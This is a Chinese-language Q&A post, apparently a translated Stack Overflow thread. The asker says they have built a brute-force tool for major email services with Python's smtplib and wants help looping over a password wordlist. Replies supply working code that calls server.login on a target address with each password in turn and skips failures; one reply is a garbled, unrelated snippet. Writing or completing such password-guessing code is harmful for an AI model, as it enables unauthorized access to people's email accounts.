如何在python中将特定行作为暴力破解工具的输入

问题描述

我使用 smtplib 模块为顶级邮件服务创建了一个暴力破解工具,但我遇到了一个问题。问题是如何将文本文件作为输入。

我希望该工具应该从 wordlist 的第一行获取密码并尝试它,然后它会移动到下一个密码并尝试它。

我尝试的是:-

def wordlist():
    global file
    file = open('file.txt')
    global max_line
    max_line = int(input("Please enter the number of passwords (lines) in the worldist: "))
    global line
    line = file.readlines()
    global line_no
    line_no = 0
    main()

def main():
    line_no+=1
    while max_line!=line_no:
        server.login('target@email.com',line[count])
        line_no+=1

if __name__ == "__main__":
    wordlist()

简单来说,我想创建一个循环,在该循环中该工具应该从 wordlist 中获取一个密码并尝试它,然后移动到下一个

解决方法

像这样:

for password in passwords:
    mail="From:example@example.com To:example@example.com Password:%s Text:wbdshgfbd" %(password)
,

您可以使用 split("\n") 分隔密码然后使用列表

,
passwords=passwordsText.split("\n")
for i in passwords:
    try:
        server.login('target@email.com',str(i))
    except Exception:
        continue

也许是这样。